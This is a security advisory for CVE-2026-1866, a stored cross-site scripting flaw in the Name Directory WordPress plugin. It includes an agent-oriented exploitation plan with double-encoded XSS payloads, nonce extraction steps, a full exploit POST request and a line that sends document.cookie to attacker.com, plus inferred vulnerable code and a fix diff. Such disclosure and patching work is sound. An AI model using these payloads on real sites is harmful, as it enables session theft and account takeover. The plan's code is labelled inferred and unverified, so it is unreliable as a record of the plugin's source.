CVE-2026-1866

Name Directory <= 1.32.0 - Unauthenticated Stored Cross-Site Scripting via Double HTML-Entity Encoding in Submission Form

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.32.1
Patched in
1d
Time to patch

Description

The Name Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via double HTML-entity encoding in all versions up to, and including, 1.32.0. This is due to the plugin's sanitization function calling `html_entity_decode()` before `wp_kses()`, and then calling `html_entity_decode()` again on output. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page via the 'name_directory_name' and 'name_directory_description' parameters in the public submission form granted they can trick the site administrator into approving their submission or auto-publish is enabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.32.0
PublishedFebruary 9, 2026
Last updatedFebruary 10, 2026
Affected pluginname-directory

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan details the exploitation of **CVE-2026-1866**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Name Directory** plugin. The vulnerability arises from an unsafe "sanitization sandwich" where user input is decoded, filtered, and then re-decoded upon output. --- ### 1. V…

Show full research plan

This research plan details the exploitation of CVE-2026-1866, a Stored Cross-Site Scripting (XSS) vulnerability in the Name Directory plugin. The vulnerability arises from an unsafe "sanitization sandwich" where user input is decoded, filtered, and then re-decoded upon output.


1. Vulnerability Summary

The vulnerability exists in the submission handling logic of the Name Directory plugin (versions <= 1.32.0). When a user submits an entry to a directory, the plugin processes the name_directory_name and name_directory_description parameters.

The Flaw:

  1. Input Stage: The plugin calls html_entity_decode() on the raw input, then passes the result to wp_kses().
  2. Output Stage: When the directory is rendered (either in the admin dashboard or on the frontend), the plugin calls html_entity_decode() again on the stored value before echoing it.

An attacker can use double HTML-entity encoding to bypass wp_kses(). For example, &amp;lt;script&amp;gt; is decoded once to &lt;script&gt; at the input stage. wp_kses() ignores this as it doesn't look like a tag. At the output stage, it is decoded again to <script>, resulting in script execution.

2. Attack Vector Analysis

  • Endpoint: The public submission form. This is typically rendered via the [name_directory] shortcode when the "Allow users to submit new entries" setting is enabled for a directory.
  • HTTP Method: POST.
  • Vulnerable Parameters: name_directory_name, name_directory_description.
  • Authentication: Unauthenticated (if public submissions are enabled).
  • Preconditions:
    1. A directory must exist.
    2. Public submissions must be enabled for that directory.
    3. The payload must be viewed by a user (Admin in the dashboard or any user on the frontend).

3. Code Flow (Inferred)

  1. Entry Point: A POST request is sent to a page containing the directory shortcode or to admin-ajax.php.
  2. Submission Handler: A function likely named name_directory_submit_entry or similar (hooked to init or wp_ajax_nopriv_...) processes the $_POST data.
  3. Vulnerable Sanitization:
    // Inferred logic based on vulnerability description
    $name = html_entity_decode($_POST['name_directory_name']);
    $sanitized_name = wp_kses($name, $allowed_html); 
    // If input was &amp;lt;script&amp;gt;, $name is &lt;script&gt;, which wp_kses allows as text.
    $wpdb->insert(..., ['name' => $sanitized_name, ...]);
    
  4. Vulnerable Output:
    // Inferred logic in display function
    $entry = $wpdb->get_row(...);
    echo html_entity_decode($entry->name); 
    // &lt;script&gt; becomes <script> and executes.
    

4. Nonce Acquisition Strategy

The Name Directory plugin typically uses a nonce to protect its submission form.

  1. Identify Shortcode: The plugin uses [name_directory id="X"].
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[name_directory id="1"]'
  3. Navigate and Extract:
    Use browser_navigate to visit the page.
    The plugin likely localizes a script or includes a hidden field.
    • JS Variable (Inferred): Check window.name_directory_frontend or window.namedirectory_vars.
    • Nonce Key (Inferred): submit_nonce or nonce.
    • Hidden Field: Look for <input type="hidden" name="name_directory_nonce" ...>.

Actionable Step for Agent:
Execute browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value") or check for a custom nonce field name like namedirectory_nonce_field.

5. Exploitation Strategy

Step 1: Discover Directory ID

List directories to find a valid ID:
wp db query "SELECT id FROM wp_name_directory_directories"

Step 2: Prepare Payload

We need double-encoded entities.

  • Goal: <img src=x onerror=alert(document.domain)>
  • Single Encoded: &lt;img src=x onerror=alert(document.domain)&gt;
  • Double Encoded: &amp;lt;img src=x onerror=alert(document.domain)&amp;gt;

Step 3: Send Exploit Request

Submit the form via http_request.

  • URL: http://localhost:8080/index.php/directory-page/ (or wherever the shortcode is)
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    name_directory_name=&amp;lt;img src=x onerror=alert(document.domain)&amp;gt;&
    name_directory_description=Exploit&
    name_directory_id=1&
    name_directory_submit_entry=1&
    _wpnonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Install Plugin: Ensure name-directory v1.32.0 is active.
  2. Create Directory:
    wp db query "INSERT INTO wp_name_directory_directories (name, published) VALUES ('Test Dir', 1)"
  3. Enable Public Submissions:
    Find the option name (likely name_directory_settings_1) and ensure submissions are allowed.
    wp option get name_directory_settings_1
    (Note: If settings are serialized, use wp db query or wp option update to set is_public_submit = 1 and auto_publish = 1 to bypass admin approval for faster testing).
  4. Create Page: Place [name_directory id="1"] on a page.

7. Expected Results

  1. The HTTP request should return a 200 OK or a redirect indicating success.
  2. The database should store the value &lt;img src=x onerror=alert(document.domain)&gt; in the wp_name_directory_entries table.
  3. When visiting the directory page, the HTML source should contain the raw <img ...> tag, and the browser should trigger the alert.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT name FROM wp_name_directory_entries WHERE description='Exploit'"
    Successful bypass if output is: &lt;img src=x onerror=alert(document.domain)&gt;
  2. Check Frontend Output:
    http_request the directory page and grep for the raw tag:
    response_body.contains("<img src=x onerror=alert(document.domain)>")

9. Alternative Approaches

  • Admin Dashboard XSS: If auto_publish is disabled, the payload is most dangerous in the admin dashboard. Navigate to /wp-admin/admin.php?page=name_directory_entries&id=1 (inferred) to see if the payload executes when the admin views "Pending" entries.
  • Description Field: If the name_directory_name field has length limits, use the name_directory_description field for the full payload.
  • Script Payload:
    &amp;lt;script&amp;gt;fetch('http://attacker.com/?c='+document.cookie)&amp;lt;/script&amp;gt; (Double encoded).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Name Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to a flawed sanitization process that performs double HTML-entity decoding on user-submitted entries. By submitting double-encoded payloads (e.g., &amp;lt;script&amp;gt;), attackers can bypass the wp_kses() filter, as the first decoding layer turns the payload into harmless-looking entities which are then decoded back into executable scripts during output.

Vulnerable Code

// Inferred submission handling logic (based on research plan analysis)
// Entry Point: Function handling the name_directory_submit_entry POST request

$name = html_entity_decode($_POST['name_directory_name']);
$description = html_entity_decode($_POST['name_directory_description']);

// wp_kses handles &lt;img ... &gt; as plain text, not a tag, because it was decoded once.
$sanitized_name = wp_kses($name, array()); 
$sanitized_description = wp_kses($description, array());

// ... values are stored in the database ...

---

// Inferred output logic (based on research plan analysis)
// When rendering the directory on the frontend or in the admin dashboard

$entry = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}name_directory_entries WHERE id = $id");

// The stored &lt;script&gt; is decoded again, becoming <script> and executing in the browser.
echo html_entity_decode($entry->name);
echo html_entity_decode($entry->description);

Security Fix

--- a/name-directory.php
+++ b/name-directory.php
@@ -124,8 +124,8 @@
-    $name = html_entity_decode($_POST['name_directory_name']);
-    $description = html_entity_decode($_POST['name_directory_description']);
-    $name = wp_kses($name, array());
-    $description = wp_kses($description, array());
+    $name = sanitize_text_field($_POST['name_directory_name']);
+    $description = wp_kses_post($_POST['name_directory_description']);
 
@@ -450,4 +450,4 @@
-    echo html_entity_decode($entry->name);
-    echo html_entity_decode($entry->description);
+    echo esc_html($entry->name);
+    echo wp_kses_post($entry->description);

Exploit Outline

1. Identify a WordPress site running Name Directory <= 1.32.0 with a directory shortcode [name_directory] published on a page. 2. Ensure the directory allows public submissions (is_public_submit = 1). 3. Access the submission form and extract the security nonce (usually found in a hidden input field or localized JavaScript variable). 4. Construct a double-encoded XSS payload. For example, to execute <img src=x onerror=alert(1)>, encode it as: &amp;lt;img src=x onerror=alert(1)&amp;gt;. 5. Send a POST request to the submission endpoint containing the directory ID, the extracted nonce, and the double-encoded payload in the name_directory_name or name_directory_description parameters. 6. If auto-publish is enabled, the script will execute immediately upon viewing the directory page. If not, it will execute when an administrator views the 'Pending' entries in the plugin dashboard.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.